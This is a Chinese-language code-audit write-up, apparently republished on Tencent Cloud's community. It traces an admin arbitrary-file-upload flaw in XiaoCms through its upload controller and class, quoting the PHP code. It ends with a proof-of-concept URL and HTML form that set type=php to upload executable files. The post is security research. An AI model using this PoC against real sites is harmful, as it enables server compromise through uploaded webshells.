前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >XiaoCms丨代码审计

XiaoCms丨代码审计

作者头像
C4rpeDime
发布2020-01-20 14:52:28
5000
发布2020-01-20 14:52:28
举报
文章被收录于专栏:黑白安全黑白安全

源码下载地址:http://www.xiaocms.com/

0x01 入口文件

index.php 中包含了xiaocms.php

XiaoCms丨代码审计
XiaoCms丨代码审计

0x02 后台任意文件上传

文件路径:core\library/upload.class.php

upload函数 53行 if判断 !为取反, is_array函数用于检测变量是否是一个数组 ||为或 运算符 empty() 函数用于检查一个变量是否为空,,move_upload_file()函数将上传的文件移动到新位置
XiaoCms丨代码审计
XiaoCms丨代码审计
$file_upload这个变量传入了parse_init 我们跟踪一下
XiaoCms丨代码审计
XiaoCms丨代码审计
get_file_ext()获取文件扩展名
$this->limit_type通过set_limit_type函数获取,搜索set_limit_type  
在admin/controller/uploadfile.php中发现upload函数
代码语言:javascript
复制
private function upload($fields, $type, $size) {
		$upload   = xiaocms::load_class('upload');
        $ext      = strtolower(substr(strrchr($_FILES[$fields]['name'], '.'), 1));
        if (in_array($ext, array('jpg','jpeg','bmp','png','gif'))) {
            $dir  = 'image';
        } else {
            $dir  = 'file';
        }
        $path    = $this->dir .$dir . '/' . date('Ym') . '/';
		if (!is_dir(XIAOCMS_PATH.$path)) mkdirs(XIAOCMS_PATH.$path);
        $file     = $_FILES[$fields]['name'];
	    $filename = md5(time() . $_FILES[$fields]['name']) . '.' . $ext;
		$filenpath = $path.$filename;
        $result   = $upload->set_limit_size(1024*1024*$size)->set_limit_type($type)->upload($_FILES[$fields],XIAOCMS_PATH.$filenpath);
        if (in_array($ext, array('jpg', 'gif', 'png', 'bmp'))) {
		$this->watermark(XIAOCMS_PATH.$filenpath);
        }
        return array('result'=>$result, 'path'=>  SITE_PATH . $filenpath, 'file'=>$file , 'ext'=>$dir=='image' ? 1 : $ext);
    }
同样在admin/controller/uploadfile.php中发现uploadify_uploadAction函数 
代码语言:javascript
复制
public function uploadify_uploadAction() {
	    $type = $this->get('type');
		$size = (int)$this->get('size');
	    if ($this->post('submit')) {
	        $data = $this->upload('file', explode(',', $type), $size);
            if ($data['result']) echo $data['path'];
	    }
	}
$this->limit_type与$this->limit_size都可以控制了,接下来构造upload.html

http://www.xxx.com/admin/?c=uploadfile&a=uploadify_upload&type=php&size=1000  

代码语言:javascript
复制
<html>
    <body>
    <form action="http://www.xxx.com//admin//index.php?c=uploadfile&a=uploadify_upload&type=php&size=1000" method="post" enctype="multipart/form-data">
    <input type="file" name="file" />
    <input type="hidden" name="submit" value="submit"/>
    <input type="submit" value="submit" />
    </form></body></html>
XiaoCms丨代码审计
XiaoCms丨代码审计
XiaoCms丨代码审计
XiaoCms丨代码审计
本文参与 腾讯云自媒体分享计划,分享自作者个人站点/博客。
原始发表:2019-05-105,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 0x01 入口文件
    • index.php 中包含了xiaocms.php
    • 0x02 后台任意文件上传
      • 文件路径:core\library/upload.class.php
        • upload函数 53行 if判断 !为取反, is_array函数用于检测变量是否是一个数组 ||为或 运算符 empty() 函数用于检查一个变量是否为空,,move_upload_file()函数将上传的文件移动到新位置
        • $file_upload这个变量传入了parse_init 我们跟踪一下
        • get_file_ext()获取文件扩展名
        • $this->limit_type通过set_limit_type函数获取,搜索set_limit_type  
        • 在admin/controller/uploadfile.php中发现upload函数
        • 同样在admin/controller/uploadfile.php中发现uploadify_uploadAction函数 
        • $this->limit_type与$this->limit_size都可以控制了,接下来构造upload.html
    领券
    问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档